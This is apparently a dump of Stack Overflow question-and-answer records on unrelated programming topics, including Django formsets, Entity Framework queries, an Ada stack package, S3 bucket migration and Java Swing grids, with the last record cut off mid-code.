30012708	0	 <p>for data transfer you can use the library Emmet</p> <p><a href="https://github.com/florent37/emmet" rel="nofollow">https://github.com/florent37/emmet</a></p> <p>We can imagine a protocol like this</p> <pre><code>public interface SmartphoneProtocole{ void getStringPreference(String key); void getBooleanPreference(String key); } public interface WearProtocole{ void onStringPreference(String key, String value); void onBooleanPreference(String key, boolean value); } </code></pre> <p>wear/WearActivity.java</p> <pre><code>//access "MY_STRING" sharedpreference SmartphoneProtocole smartphoneProtocol = emmet.createSender(SmartphoneProtocole.class); emmet.createReceiver(WearProtocole.class, new WearProtocole(){ @Override void onStringPreference(String key, String value){ //use your received preference value } @Override void onBooleanPreference(String key, boolean value){ } }); smartphoneProtocol.getStringPreference("MY_STRING"); //request the "MY_STRING" sharedpreference </code></pre> <p>mobile/WearService.java</p> <pre><code>final WearProtocole wearProtocol = emmet.createSender(WearProtocole.class); emmet.createReceiver(SmartphoneProtocol.class, new SmartphoneProtocol(){ //on received from wear @Override void getStringPreference(String key){ String value = //read the value from sharedpreferences wearProtocol.onStringPreference(key,value); //send to wear } @Override void getBooleanPreference(String key){ } }); </code></pre>
40852741	0	 <p>@jon-m answer needs to be updated to reflect the latest changes to paperclip, in order for this to work needs to change to something like:</p> <pre><code>class Document has_attached_file :revision def revision_contents(path = 'tmp/tmp.any') revision.copy_to_local_file :original, path File.open(path).read end end </code></pre> <p>A bit convoluted as @jwadsack mentioned using <code>Paperclip.io_adapters.for</code> method accomplishes the same and seems like a better, cleaner way to do this IMHO.</p>
5415236	0	 <p>You can delete the files and/or directories prior to publishing like so:</p> <pre><code>&lt;RemoveDir Directories="$(MyDirectory)" Condition="Exists('$(TempDirectory)')" /&gt; &lt;Delete Files="$(MyFiles)" Condition="Exists('$(MyFiles)')" /&gt; </code></pre>
23446627	0	 <p>I did it. Thanks for your help</p> <pre><code> declare @name varchar(100) set @name='Sharma,Ravi,K' select CASE WHEN CHARINDEX(' ',REPLACE(@name,',',' '), CHARINDEX(' ',REPLACE(@name,',',' ')) + 1) &gt;0 THEN SUBSTRING(REPLACE(@name,',',' '), CHARINDEX(' ',REPLACE(@name,',',' ')) + 1,(LEN(@name)-CHARINDEX(' ',REVERSE(REPLACE(@name,',',' '))))-CHARINDEX(' ',REPLACE(@name,',',' '))) else SUBSTRING(REPLACE(@name,',',' '), CHARINDEX(' ',REPLACE(@name,',',' ')) + 1,LEN(@name)) END AS 'FIRST NAME' ,CASE WHEN CHARINDEX(' ',REPLACE(@name,',',' '), CHARINDEX(' ',REPLACE(@name,',',' ')) + 1) &gt;0 THEN SUBSTRING(REPLACE(@name,',',' '),LEN(@name)-CHARINDEX(' ',REVERSE(REPLACE(@name,',',' ')))+2,LEN(@name)) ELSE ' ' END AS 'MIDDLE NAME' , SUBSTRING(REPLACE(@name,',',' '), 1,CHARINDEX(' ',REPLACE(@name,',',' '))) </code></pre>
4170290	0	jQuery Templates and Razor? <p>Can someone shed some light on how these compare/complement each other in the context of an ASP.NET MVC application? </p>
35225955	0	Overlap of labels for MarkerWithLabel on custom marker on Google Maps <p>I initially used an InfoBox to create a label for a marker with a custom icon. For the scenario of overlapping markers, the labels became illegible and so I had to look for a solution or alternative. </p> <p>It was suggested in a <a href="http://stackoverflow.com/questions/35080536/how-to-solve-the-infobox-label-overlap-on-multiple-markers-on-google-map">previous question</a> that I should make use of MarkerWithLabel. It definitely helps, but if the markers overlap exactly, you can see the label still coming through even after setting the opacity to 1 and making the background the same as the custom marker. </p> <p><a href="https://i.stack.imgur.com/9Xdda.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/9Xdda.png" alt="enter image description here"></a></p> <pre><code>.labels { background-color: #FF5959; } gmarker = new MarkerWithLabel({ position: someCenterPosition, icon: customImageURL, draggable: false, raiseOnDrag: false, map: map, title: someTitle, labelContent: aTitle, labelAnchor: new google.maps.Point(someOffsetX, someOffsetY), labelClass: "labels", // the CSS class for the label labelStyle: {opacity: 1} }); </code></pre> <p>The 2 is actually the marker behind's label and 15 should be displayed on the front marker. I need to have the 2 and its background behind the marker with the label of 15.</p>
1267031	0	What does fragmented memory look like? <p>I have a mobile application that is suffering from slow-down over time. My hunch, (In part fed by <a href="http://developer.sonyericsson.com/site/global/techsupport/tipstrickscode/java/p_avoidingmemoryfragment.jsp" rel="nofollow noreferrer">this article</a>,) is that this is due to fragmentation of memory slowing the app down, but I'm not sure. Here's a pretty graph of the app's memory use over time:</p> <p><img src="http://kupio.com/image-dump/fragmented.png" alt="fraggle rock"></p> <p>The 4 peaks on the graph are 4 executions of the exact same task on the app. I start the task, it allocates a bunch of memory, it sits for a bit (The flat line on top) and then I stop the task. At that point it calls System.gc(); and the memory gets cleaned up.</p> <p>As can be seen, each of the 4 runs of the exact same task take longer to execute. The low-points in the graph all return to the same level so there do not seem to be any memory leaks between task runs.</p> <p>What I want to know is, is memory fragmentation a feasible explanation or should I look elsewhere first, bearing in mind that I've already done a lot of looking? The low-points on the graph are relatively low so my assumption is that in this state the memory would not be very fragmented since there can't be a lot of small memory holes to be causing problems.</p> <p>I don't know how the j2me memory allocator works though, so I really don't know. Can anyone advise? Has anyone else had problems with this and recognises the memory profile of the app?</p>
10794632	0	List Sorted incorrectly <p>i have following code </p> <pre><code>List&lt;TimeZoneInfo&gt; timeZoneList = new List&lt;TimeZoneInfo&gt;(TimeZoneInfo.GetSystemTimeZones()); timeZoneList.Sort((item1, item2) =&gt; { return string.Compare(item2.Id, item1.Id); }); </code></pre> <p>but it does not sort the list correctly. (using linq.OrderBy() yields same result).<br> but the following code sorts correctly.</p> <pre><code>List&lt;string&gt; timeZoneList1 = new List&lt;string&gt;(); foreach (TimeZoneInfo timeZoneInfo in TimeZoneInfo.GetSystemTimeZones()) timeZoneList1.Add(timeZoneInfo.Id); timeZoneList1.Sort((item1, item2) =&gt; { return string.Compare(item1, item2); }); </code></pre> <p>what is the problem? what do i missing? </p> <p>really?<br> no one knows the answer?</p> <p>--------------------------- EDIT ------------------------------------<br> where as i assign the list to a Combobox, it will appears in the wrong order but it will be fixed when i set the DisplayMember of the Combobox. can any one explain this behavior? </p>
2598329	0	 <p>They are buffered, but I don't know on what level or what the limit is.</p> <p><a href="http://tangentsoft.net/wskfaq/" rel="nofollow noreferrer">http://tangentsoft.net/wskfaq/</a> is a great resource you might find useful for any winsock related issue.</p>
39122445	0	 <p>Constructor taking classes to register refreshes context internally - try to set class and refresh manually after setting parent context.</p> <pre><code>private void createChildContext() { final AnnotationConfigEmbeddedWebApplicationContext childContext = new AnnotationConfigEmbeddedWebApplicationContext(); childContext.setParent(this.applicationContext); childContext.setId(this.applicationContext.getId() + ":child"); childContext.register(ChildConfiguration.class); childContext.refresh(); } </code></pre>
16456194	0	 <p>You may have to use a callback here</p> <pre><code>var list = document.getElementById('SomeList'); var items = list.getElementsByTagName('li'); var i = 0; var myFunction1 = function() { if ( i &lt; items.length ) { // Do some code with items[i] i++; setTimeout(myFunction1, 1500); } else { // No more elements return; } } </code></pre> <p>This way your <code>myFunction1</code> will execute every 1.5 seconds.</p>
15863381	0	django formset - not able to update entries <p>I want to update a formset that can have different entries. I will able to present the formset pre populated with the correct data, however I'm doing something wrong since it does not update but creates a new instance..</p> <p>I'm seen <strong>inlineformset_factory</strong> however since I'm passing more than one value to the formset I was not able to work with it..</p> <p>If anyone has any pointer I will truly appreciate it!</p> <p>views.py</p> <pre><code> epis = Contact.objects.filter(episode=int(value)) ContactSet = formset_factory(Contact1Form, extra=len(epis), max_num=len(epis)) if request.method =='POST': formset = ContactSet(request.POST) if formset.is_valid(): for form in formset.forms: age = form.cleaned_data['age'] bcg = form.cleaned_data['bcg_scar'] radio = form.cleaned_data['radiology'] profile = form.save(commit=False) for i in epis: profile.contact = i fields = {'age': age, 'bcg_scar': bcg, 'radiology': radio} for key, value in fields.items(): if value == u'': setattr(profile, key, None) else: setattr(profile, key, value) profile.save() return render_to_response('success.html', {'location': location}) else: dic = [] for c in epis: aux = {} for f in c._meta.fields: if f.name not in ['contact_id', 'episode']: aux[f.name] = getattr(c, f.name) dic.append(aux) formset = ContactSet(initial=dic) return render_to_response('form.html', { 'msg': msg, 'location': location, 'formset': formset, 'word': word }) </code></pre> <p>forms.py </p> <pre><code> class ContactForm(forms.ModelForm): affinity = forms.ModelChoiceField(queryset=Affinity.objects.all(), label=ugettext("Affinity")) age = forms.IntegerField(label=ugettext("Age when diagnosed"), required=False) MAYBECHOICES = ( ('', '---------'), (ugettext('Yes'), ugettext('Yes')), (ugettext('No'), ugettext('No'))) bcg_scar = forms.ChoiceField(choices=MAYBECHOICES, label=ugettext( "BCG scar"), required=False) radiology = forms.ModelChoiceField(queryset=Radiology.objects.all(), label=ugettext("Radiology"),required=False) class Meta: model = Contact </code></pre> <p>Any pointers would be of great help!</p> <p><strong>EDIT</strong></p> <p>After some suggestions from Catherine</p> <pre><code> formset = ContactSet(request.POST, queryset=epis) </code></pre> <p>which gave me this error:</p> <pre><code> __init__() got an unexpected keyword argument 'queryset' </code></pre> <p>I try changing </p> <pre><code> from django.forms.models import modelformset_factory ContactSet = modelformset_factory(Contact1Form, extra=len(epis), max_num=len(epis)) </code></pre> <p>and this error appeared:</p> <pre><code>'ModelFormOptions' object has no attribute 'many_to_many' </code></pre> <p>and then saw that to solve this error I will need to use the name of the model instead.</p> <pre><code>ContactSet = modelformset_factory(Contact, extra=len(epis), max_num=len(epis)) </code></pre> <p>and I get a MultiValueDictKeyError</p>
40025364	0	Cannot perform LINQ complex object search in Entity Framework <p>I have entities in the DB which each contain a list of key value pairs as metadata. I want to return a list of object by matching on specified items in the metadata.</p> <p>Ie if objects can have metadata of KeyOne, KeyTwo and KeyThree, I want to be able to say "Bring me back all objects where KeyOne contains "abc" and KeyThree contains "de"</p> <p>This is my C# query</p> <pre><code> var objects = repository.GetObjects().Where(t =&gt; request.SearchFilters.All(f =&gt; t.ObjectChild.Any(tt =&gt; tt.MetaDataPairs.Any(md =&gt; md.Key.ToLower() == f.Key.ToLower() &amp;&amp; md.Value.ToLower().Contains(f.Value.ToLower()) ) ) ) ).ToList(); </code></pre> <p>and this is my request class</p> <pre><code>[DataContract] public class FindObjectRequest { [DataMember] public IDictionary&lt;string, string&gt; SearchFilters { get; set; } } </code></pre> <p>And lastly my Metadata POCO</p> <pre><code>[Table("MetaDataPair")] public class DbMetaDataPair : IEntityComparable&lt;DbMetaDataPair&gt; { [Key] [DatabaseGenerated(DatabaseGeneratedOption.Identity)] public long Id { get; set; } [Required] public string Key { get; set; } public string Value { get; set; } } </code></pre> <p>The error I get is</p> <blockquote> <p>Error was Unable to create a constant value of type 'System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]'. Only primitive types or enumeration types are supported in this context.</p> </blockquote>
37687231	0	Java jersey validation <p>I'm using the validation in Java Jersey, and i'm building an application where it should be possible to save a draft of something. But before it is published, i would like it to be valid, using the annotations in the view model. When publishing, the same savemethod, for draft, is invoked. Therefor i cannot use the annotation in the method (methodName(@Valid ViewmodelName)). Can i somehow invoke a method to validate the annotations in the viewModel? Something like model->isValid(). Alternatively i could make two viewmodels; one for draft and one for published, but seems kind of double work.</p> <p>Best regards</p>
24696399	0	 <p>Did you try:</p> <pre><code>&lt;base target="_parent" /&gt; </code></pre> <p>?</p>
604885	0	 <p>Just check to see if the ID passed to the controller methods is an integer.</p> <pre><code>if params[:id].is_a?(Integer) @user = User.find params[:id] else @user = User.find_by_login params[:id] </code></pre> <p>No need to add special routes.</p>
25439091	0	Java matrix library using direct memory access <p>Are there any matrix libraries for Java/Scala that wrap blas/lapack and that use direct memory access, either ByteBuffers or unsafe.getFloat access? It seems like this approach would avoid all the copying of arrays that occurs when crossing the JNI boundary. </p>
4619620	0	 <p>you can certainly do block selection by hold down the Alt key while doing a selection</p>
15267182	0	Trigger Disable User <p>I have a problem and question. The SQL trigger in my SQL Server has been disabled. And I want to learn who disable this triger. Is there any way to get username who disable MSSQL trigger? By SQL query or like that? Regards.</p>
19521497	0	Convert google map url to coordinates <p>I want to convert this google map url "http//maps.google.com/maps?f=q&amp;q=14.674518%2C120.549043&amp;z=16" to just value of latitude and longitude.</p> <p>Here's my code:</p> <pre><code>$string='http://maps.google.com/maps?f=q&amp;q=14.674518%2C120.549043&amp;z=16'; $regex=' , http://maps\.google\.com/maps\?q=\K[^&amp;]+,'; preg_match($regex,$string,$m); echo $m[0].'&lt;br /&gt;'; </code></pre> <p>Thanks!</p>
8494204	0	 <p>what about checking the referral ? are you using php ?, if yes the you can try using refferal instead, like</p> <pre><code>if($_SERVER[’HTTP_REFERER’]!=''){ echo "&lt;script&gt; $(function(){ $.ajax({ type: 'POST', url: this.href, success: updatePortslide, dataType: 'json', data: 'js=2' }); return false; }); &lt;/script&gt;"; } </code></pre>
10012221	0	 <p>I hope the below code will give u an idea .. If your PEM doesnt have password ...... refer X509.h header file in openssl</p> <pre><code>X509* oCertificate=NULL; FILE *lFp=NULL; lFp=fopen(iFilePath,"rb"); if(lFp==NULL) { oCertificate=NULL; cout &lt;&lt;("Error File cannot be opened(file missing) ")&lt;&lt;iFilePath ; } else { oCertificate = PEM_read_X509(lFp, NULL, NULL, NULL); fclose(lFp); } return oCertificate; </code></pre>
34847873	0	 <p>Hopefully It can help you to deal with your question as following code </p> <pre><code>Simple CASE expression: CASE input_expression WHEN when_expression THEN result_expression [ ...n ] [ ELSE else_result_expression ] END </code></pre> <p><strong>Arguments</strong> </p> <pre><code>input_expression Is the expression evaluated when the simple CASE format is used. input_expression is any valid expression. WHEN when_expression Is a simple expression to which input_expression is compared when the simple CASE format is used. when_expression is any valid expression. The data types of input_expression and each when_expression must be the same or must be an implicit conversion. THEN result_expression Is the expression returned when input_expression equals when_expression evaluates to TRUE, or Boolean_expression evaluates to TRUE. result expression is any valid expression. ELSE else_result_expression Is the expression returned if no comparison operation evaluates to TRUE. If this argument is omitted and no comparison operation evaluates to TRUE, CASE returns NULL. else_result_expression is any valid expression. The data types of else_result_expression and any result_expression must be the same or must be an implicit conversion. WHEN Boolean_expression Is the Boolean expression evaluated when using the searched CASE format. Boolean_expression is any valid Boolean expression. </code></pre> <p><strong>Examples</strong> </p> <pre><code>USE AdventureWorks2012; GO SELECT ProductNumber, Category = CASE ProductLine WHEN 'R' THEN 'Road' WHEN 'M' THEN 'Mountain' WHEN 'T' THEN 'Touring' WHEN 'S' THEN 'Other sale items' ELSE 'Not for sale' END, Name FROM Production.Product ORDER BY ProductNumber; GO </code></pre> <p><strong>If-else with 2 tables</strong></p> <pre><code>declare @a nvarchar(50) if 1=1 set @a='select * from table1' else set @a='select * from table2' begin execute sp_executesql @a end </code></pre>
12409173	0	 <pre><code>$('div[id^="sameId_"]').click(...) </code></pre> <p>Demo: <a href="http://jsfiddle.net/kpcxu/">http://jsfiddle.net/kpcxu/</a></p> <p>For more info, see <a href="http://api.jquery.com/attribute-starts-with-selector/">Attribute Starts With selector</a>.</p>
5414451	0	 <p>I can think of some easy things Microsoft could have done to the memory allocator that would have greatly reduced LOH fragmentation without major overhaul, such as rounding allocation sizes up to some multiple like 4K. Given that the smallest non-static LOH objects were 85K, that would represent at most a 5% loss of useful space, but would reduce the number of different-sized objects and gaps. BTW, I'm really unconvinced of the value forcing all big objects to the LOH (as opposed to, perhaps, having a means of designating when an object is created whether it should go to the LOH or not). I can understand some value in separating small objects from big ones once they reach Level 2, but there are enough cases where big objects get created and abandoned that forcing them to level 2 seems counterproductive.</p>
26281319	0	 <p><code>DatePart</code> can accept dates which are actually text instead of Date/Time datatype. However, the text must be something which Access recognizes as a valid date representation. A text date in <em>"yyyymmdd"</em> format doesn't satisfy that requirement. For example, in the Immediate window ...</p> <pre class="lang-vb prettyprint-override"><code>? IsDate("20141009") False </code></pre> <p>However, if you insert dashes between the year, month, and day segments, Access can recognize the text string as a date.</p> <pre class="lang-vb prettyprint-override"><code>? Format("20141009", "0000-00-00") 2014-10-09 ? IsDate(Format("20141009", "0000-00-00")) True </code></pre> <p>Test that technique in a simple query to make sure it avoids the error.</p> <pre class="lang-sql prettyprint-override"><code>SELECT RTG.[Sent Date], RTG.[Accept Date], DateDiff( 'd', Format([Accept Date],'0000-00-00'), Format([Sent Date],'0000-00-00') ) AS Expr1 FROM RTG </code></pre> <p>If Access still throws an error, use <code>CDate</code> to cast the text date to Date/Time datatype.</p> <pre class="lang-sql prettyprint-override"><code> DateDiff( 'd', CDate(Format([Accept Date],'0000-00-00')), CDate(Format([Sent Date],'0000-00-00')) ) AS Expr1 </code></pre> <p>Your task would be less challenging with actual Date/Time fields. You could create new Date/Time fields and execute an <code>UPDATE</code> query to load the transformed values from the old text date fields.</p>
26219052	0	JHipster Persist Data/Access Database <p>Running with Spring Boot v1.1.7.RELEASE, Spring v4.0.7.RELEASE with hot reloading, etc.</p> <p>Hey JHipsters, I'm working on my first project with JHipster. I can successfully create an application that runs, authenticates, etc. My issues really began when I started to try to create and maintain entities. At this point I've created an entity successfully called "Employees" with all the supporting files that JHipster provides. I've also managed to add the fields that I wanted to that entity (which proved to be more difficult than I originally anticipated), but wasn't able to eliminate the sample fields without creating an error, so I've left them there. </p> <p>Now, maybe I'm missing something here, but when I go and save a group of values in my entity, as soon as I terminate my application, those values evaporate. Is JHipster designed to operate this way in developer mode? If so, how do I persist my values in the MYSQL database that JHipster created for me?</p> <p>Let me know if you need any more information from me to help.</p>
17810837	0	Dose z3 find all satifiable models <p>There are some constraints such as x + y > 5 , x > 3 , y &lt; 4, so the set of models x = 4 y= 3, which is given by z3. Dose z3 can give models incrementally, such as another set of models x=5,y = 2? Thanks. Regards </p>
33028037	0	 <p>Use a set comprehension:</p> <pre><code>values = { url.split("/")[3] for url in url_list } </code></pre>
22545045	0	Ruby and Rails: setting current_user if statement <p>I'm in a controller method.</p> <pre><code>p current_user p request.referrer != Rails.application.routes.url_helpers.dashboard_patients_add_url if request.referrer != Rails.application.routes.url_helpers.dashboard_patients_add_url p 'in here' current_user = User.find_by_authentication_token(params[:token])[0] end p current_user </code></pre> <p>Returns </p> <pre><code>#&lt;User id: 33, first_name: "1", last_name: "1", working_at: "1", password_digest: nil, password_confirmation: nil, created_at: "2014-03-20 00:37:54", updated_at: "2014-03-20 00:38:00", email: "aab@gmail.com", encrypted_password: "$2a$10$nw1UHb0PeFUFh17zKRhbsOA.MirNfXW69wj7aRfMSDEw...", reset_password_token: nil, reset_password_sent_at: nil, remember_created_at: nil, sign_in_count: 1, current_sign_in_at: "2014-03-20 00:37:54", last_sign_in_at: "2014-03-20 00:37:54", current_sign_in_ip: "127.0.0.1", last_sign_in_ip: "127.0.0.1", authentication_token: "HHz6KyqrHF7pC41DyGKH", salutation: "1", speciality: "1", cell_phone_number: "1", office_phone_number: "1"&gt; false nil </code></pre> <p>So the if statement is false and the p within the if statement is not run...which would lead me to believe that current_user should not get set to the User.find_by_authentication_token result. However, clearly, it does. If I comment out the if statement, then I get </p> <pre><code>#&lt;User id: 33, first_name: "1", last_name: "1", working_at: "1", password_digest: nil, password_confirmation: nil, created_at: "2014-03-20 00:37:54", updated_at: "2014-03-20 00:38:00", email: "aab@gmail.com", encrypted_password: "$2a$10$nw1UHb0PeFUFh17zKRhbsOA.MirNfXW69wj7aRfMSDEw...", reset_password_token: nil, reset_password_sent_at: nil, remember_created_at: nil, sign_in_count: 1, current_sign_in_at: "2014-03-20 00:37:54", last_sign_in_at: "2014-03-20 00:37:54", current_sign_in_ip: "127.0.0.1", last_sign_in_ip: "127.0.0.1", authentication_token: "HHz6KyqrHF7pC41DyGKH", salutation: "1", speciality: "1", cell_phone_number: "1", office_phone_number: "1"&gt; false #&lt;User id: 33, first_name: "1", last_name: "1", working_at: "1", password_digest: nil, password_confirmation: nil, created_at: "2014-03-20 00:37:54", updated_at: "2014-03-20 00:38:00", email: "aab@gmail.com", encrypted_password: "$2a$10$nw1UHb0PeFUFh17zKRhbsOA.MirNfXW69wj7aRfMSDEw...", reset_password_token: nil, reset_password_sent_at: nil, remember_created_at: nil, sign_in_count: 1, current_sign_in_at: "2014-03-20 00:37:54", last_sign_in_at: "2014-03-20 00:37:54", current_sign_in_ip: "127.0.0.1", last_sign_in_ip: "127.0.0.1", authentication_token: "HHz6KyqrHF7pC41DyGKH", salutation: "1", speciality: "1", cell_phone_number: "1", office_phone_number: "1"&gt; </code></pre> <p>As expected. I have no idea why anything within that if statement would have any impact on anything since its condition is false.</p> <p>I've clearly misunderstood something extra basic, and I'd love for someone to clear my vision.</p>
8592487	0	 <p>I received this error with regards to the largeHeap Attribute, my application did not run under eclipse but under ant it still built and ran normally.</p> <p>The android <a href="http://developer.android.com/guide/topics/manifest/manifest-element.html" rel="nofollow">documentation</a> states that:</p> <blockquote> <p>xmlns:android</p> <pre><code>Defines the Android namespace. This attribute should always be set to "http://schemas.android.com/apk/res/android". </code></pre> </blockquote> <p>I erased that line in my manifest, saved in eclipse, pasted the line back in and saved again, and it worked. In my case I guess the problem was eclipse, ant and adb not talking to each other correctly and the saving reset something. Interestingly restarting eclipse did not solve this problem (usually with these types of problems restarting eclipse is the first thing you should try, and usually it solves the problem).</p>
2572720	0	 <p>Make sure you've got a valid email address for anyone who posts (as per S.O.) and implement a CAPCHA on registration and when you think someone might be behaving oddly. Keep a well-trained copy of spamassassin around and feed the posts through that.</p> <p>C.</p>
22857797	0	 <p>Your Game Model does not belong to the <code>Games\Controller</code> namespace. </p> <p>I assume from your structure that your Model is not namespaced, so you have these 2 options:</p> <ol> <li><p><code>use Game;</code> as you did for View and BaseController or</p></li> <li><p><code>$data['games'] = \Game::all();</code></p></li> </ol>
16182824	0	Ada beginner Stack program <p>Basically, I have 2 files ( .adb and .ads). I am totally new to Ada and also how to compile 2 files. The program is of a basic stack implementation. I got this compile error when I compiled the .adb file.</p> <pre><code>$ gcc -c test_adt_stack.adb abstract_char_stack.ads:22:01: end of file expected, file can have only one compilation unit </code></pre> <p>The 2 files I have are: <strong>abstract_char_stack.ads</strong></p> <pre><code>----------------------------------------------------------- package Abstract_Char_Stack is type Stack_Type is private; procedure Push(Stack : in out Stack_Type; Item : in Character); procedure Pop (Stack : in out Stack_Type; Char : out Character); private type Space_Type is array(1..8) of Character; type Stack_Type is record Space : Space_Type; Index : Natural := 0; end record; end Abstract_Char_Stack; ----------------------------------------------------------- package body Abstract_Char_Stack is ---------------------------------------------- procedure Push(Stack : in out Stack_Type; Item : in Character) is begin Stack.Index := Stack.Index + 1; Stack.Space(Stack.Index) := Item; end Push; -------------------------------------------- procedure Pop (Stack : in out Stack_Type; Char : out Character) is begin Char := Stack.Space(Stack.Index); Stack.Index := Stack.Index - 1; end Pop; -------------------------------------------- end Abstract_Char_Stack; </code></pre> <p>and the other one is <strong>test_adt_stack.adb</strong></p> <pre><code>----------------------------------------------------------- with Ada.Text_IO; use Ada.Text_IO; with Abstract_Char_Stack; use Abstract_Char_Stack; procedure Test_ADT_Stack is S1 : Stack_Type; S2 : Stack_Type; Ch : Character; begin Push(S1,'H'); Push(S1,'E'); Push(S1,'L'); Push(S1,'L'); Push(S1,'O'); -- S1 holds O,L,L,E,H for I in 1..5 loop Pop(S1, Ch); Put(Ch); -- displays OLLEH Push(S2,Ch); end loop; -- S2 holds H,E,L,L,O New_Line; Put_Line("Order is reversed"); for I in 1..5 loop Pop(S2, Ch); Put(Ch); -- displays HELLO end loop; end Test_ADT_Stack; ----------------------------------------------------------- </code></pre> <p>What am I doing wrong? I just want to have it compile and display what it's supposed to do. This was a study the program kind of assignment. But I can't make it compile or don't know if I am doing it right.</p>
19628498	0	 <p>If its Real device we can not See Data folder inside data </p> <p>but if its Emulator </p> <p>Go to</p> <p>data>data> Search for your package name>database>yourdatabse.db</p> <p><img src="https://i.stack.imgur.com/LSl4m.png" alt="enter image description here"></p> <p>enter image description here</p> <p>Search your package name. Then inside database folder yourdatabse.db will be created.</p>
7388567	0	 <p>Some responders have suggested storing the data in ViewState. While this is custom in ASP.NET you need to make sure that you absolutely understand the implications if you want to go down that route, as it can really hurt performance. To this end I would recommend reading <a href="http://weblogs.asp.net/infinitiesloop/archive/2006/08/03/Truly-Understanding-Viewstate.aspx" rel="nofollow">TRULY understanding ViewState</a>.</p> <p>Usually, storing datasets retrieved from the database in ViewState really hurts performance. Without knowing the details of your situation I would hazard a guess that you are better off just loading the data from the database on every request. Essentially, you have the option of a) serializing the data and sending the data to the client (who could be on a slow connection) or b) retrieving the data from the database, which is optimized for data retrieval and clever caching. </p>
34241578	0	 <p>Same problem here</p> <pre><code>$ mysqldump -h localhost --lock-all-tables --set-gtid-purged=OFF -u root -p --socket=/var/run/mysqld/mysqld.sock --all-databases &gt; dump.sql mysqldump: Couldn't execute 'SHOW VARIABLES LIKE 'ndbinfo\_version'': Native table 'performance_schema'.'session_variables' has the wrong structure (1682) </code></pre> <p>Have you test a</p> <pre><code>$ mysql_upgrade -u root -p </code></pre> <p>or</p> <pre><code>$ mysql_upgrade --force -u root -p </code></pre>
5869269	0	How to get call end event in Android App <p>I have made small app for Android mobile.</p> <p>In one situation i am not getting any solution. Actually my app has small functionality for calling to customer.</p> <p>So after call ended i need that event of which last number will dialed or which app is runs.</p> <p>Please help me its urgent for me.</p> <p>Thanks</p>
24246562	0	How to migrate S3 bucket to another account <p>I need to move data from an S3 bucket to another bucket, on a different account. I was able to sync buckets by running:</p> <pre><code>aws s3 sync s3://my_old_bucket s3://my_new_bucket --profile myprofile </code></pre> <p><em>myprofile</em> contents:</p> <pre><code>[profile myprofile] aws_access_key_id = old_account_key_id aws_secret_access_key = old_account_secret_access_key </code></pre> <p>I have also set policies both on origin and destination. Origins allows listing and getting, and destination allows posting.</p> <p>The commands works perfectly and I can log in to the other account and see the files. But I can't take ownership or make the new bucket public. I need to be able to make changes as I was able to in the old account. New account is totally unrelated to new account. It looks like files are retaining permissions and they are still owned by the old account. </p> <p>How can I set permissions in order to gain full access to files with the new account?</p>
37333837	0	Java GUI ActionListener. Finding out which button was pressed <p>I´ve got a two dimensional Array (Matrix) with the Dimension 50x50. In these Matrix every position has the value 0 or 1. This Matrix is presented by a Grid Layout with 50x50 Buttons, which are white oder black, if the value is 0 or 1. If I press a Button the related position in the Matrix should change the value to 1. To implement this I create the Grid with one Button for each matrixposition, performed by a for-loop. I also implementet a ActionListener for each Button in this for-loop. I tried to change the value of the position using the ActionListeners, by giving the function creating the button and the ActionListener for each position two parameters for row and column of the position in the matrix. But theres a mistake, so I always get a NullPointerException, if I press a Button.</p> <pre><code>import javax.swing.*; import java.awt.*; import javax.swing.border.*; import java.awt.event.ActionListener; import java.awt.event.ActionEvent; public class Bild extends JFrame { public Matrix matrix; public JButton createButton(int a, int x, int y) { JButton b = new JButton(); if(a==1){ b.setBackground(Color.WHITE); }else{ b.setBackground(Color.BLACK); } b.addActionListener( new ActionListener(){ public void actionPerformed( ActionEvent arg0 ) { matrix.matrix[x][y]=1; } }); this.add(b); return b; } public Bild(Matrix matrix) { matrix = matrix; GridLayout layout = new GridLayout(50,50,0,0); this.setLayout(layout); for (int i = 0; i&lt;50; i++) { for(int j=0; j&lt;50; j++){ if (matrix.matrix[i][j]==0){ this.add(createButton(1,i,j)); }else{ this.add(createButton(2,i,j)); } } } } } public class Matrix{ int[][] matrix; public Matrix(){ matrix = new int[50][50]; for(int i=0; i&lt;50; i++){ for(int j=0; j&lt;50; j++){ matrix[i][j]=0; } } } } import javax.swing.*; // JFrame, JPanel, ... import java.awt.*; // GridLayout public class Main{ public static void main (String[] args) { Matrix matrix = new Matrix(); JFrame frame = new Bild(matrix); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setSize(500,500); frame.setVisible(true); } } </code></pre>
9591075	0	 <p>You can do all the work in the executing threads of the thread pools using an AtomicInteger to monitor the number of runnables executed</p> <pre><code> int numberOfParties = 5; AtomicInteger numberOfJobsToExecute = new AtomicInteger(1000); ExecutorService pool = Executors.newFixedThreadPool(numberOfParties ); for(int i =0; i &lt; numberOfParties; i++){ pool.submit(new Runnable(){ public void run(){ while(numberOfJobsToExecute.decrementAndGet() &gt;= 0){ makeJobs(1).get(0).run(); } } }); } </code></pre> <p>You can also store the returned Future's in a List and <code>get()</code> on them to await completion (among other mechanisms)</p>
5709975	0	Binary code Error help <p>I forgot to insert my code, sorry on my behalf..</p> <p>I have a Binary Search going in my program, but when I enter 10 student records into an Array and sort them, the last element of Student ID will not be picked up from my binary search.</p> <p>Say when I sort the Array and 232 was the last element in the Array, when I go to Search 232 the Binary Search Function gives me back not found and I look for any other ID with in the array and give it back with the records.</p> <pre><code> else if ( choice == 4) // Binary Search... This Also Force Array to be Sorted If Array is not Sorted. { merge_sort(0,N_STUDENT-1); cout&lt;&lt;" \n\t Enter the student number to search :"; // Ask user to Input Student ID. cin&gt;&gt;key; k=binarySearch(record, 0, N_STUDENT-1, key); // Serach Array if(k&gt;=0) cout&lt;&lt;"Student Details with student Number\n " &lt;&lt;key&lt;&lt; "exists at the position \n" &lt;&lt; k &lt;&lt; " Student Number\n" &lt;&lt; record-&gt;student_number &lt;&lt; " " &lt;&lt; " Student Name \n" &lt;&lt; record-&gt;studentname &lt;&lt; " " &lt;&lt; " Student Address \n" &lt;&lt; record-&gt;Address &lt;&lt; " " &lt;&lt; " Course Code \n" &lt;&lt; record-&gt;CourseCode &lt;&lt; " " &lt;&lt; " Course Name \n" &lt;&lt; record-&gt;CourseName; //Displays Position of Student And Student Details. else cout&lt;&lt; "Not found "; // if Record is not Found _____________________________________________________________________________________________________ //function binary search using the key value to serach int binarySearch(student sorted[], int first, int upto, int key) { // Sort Array if not Sorted... while (first &lt; upto) { int mid = 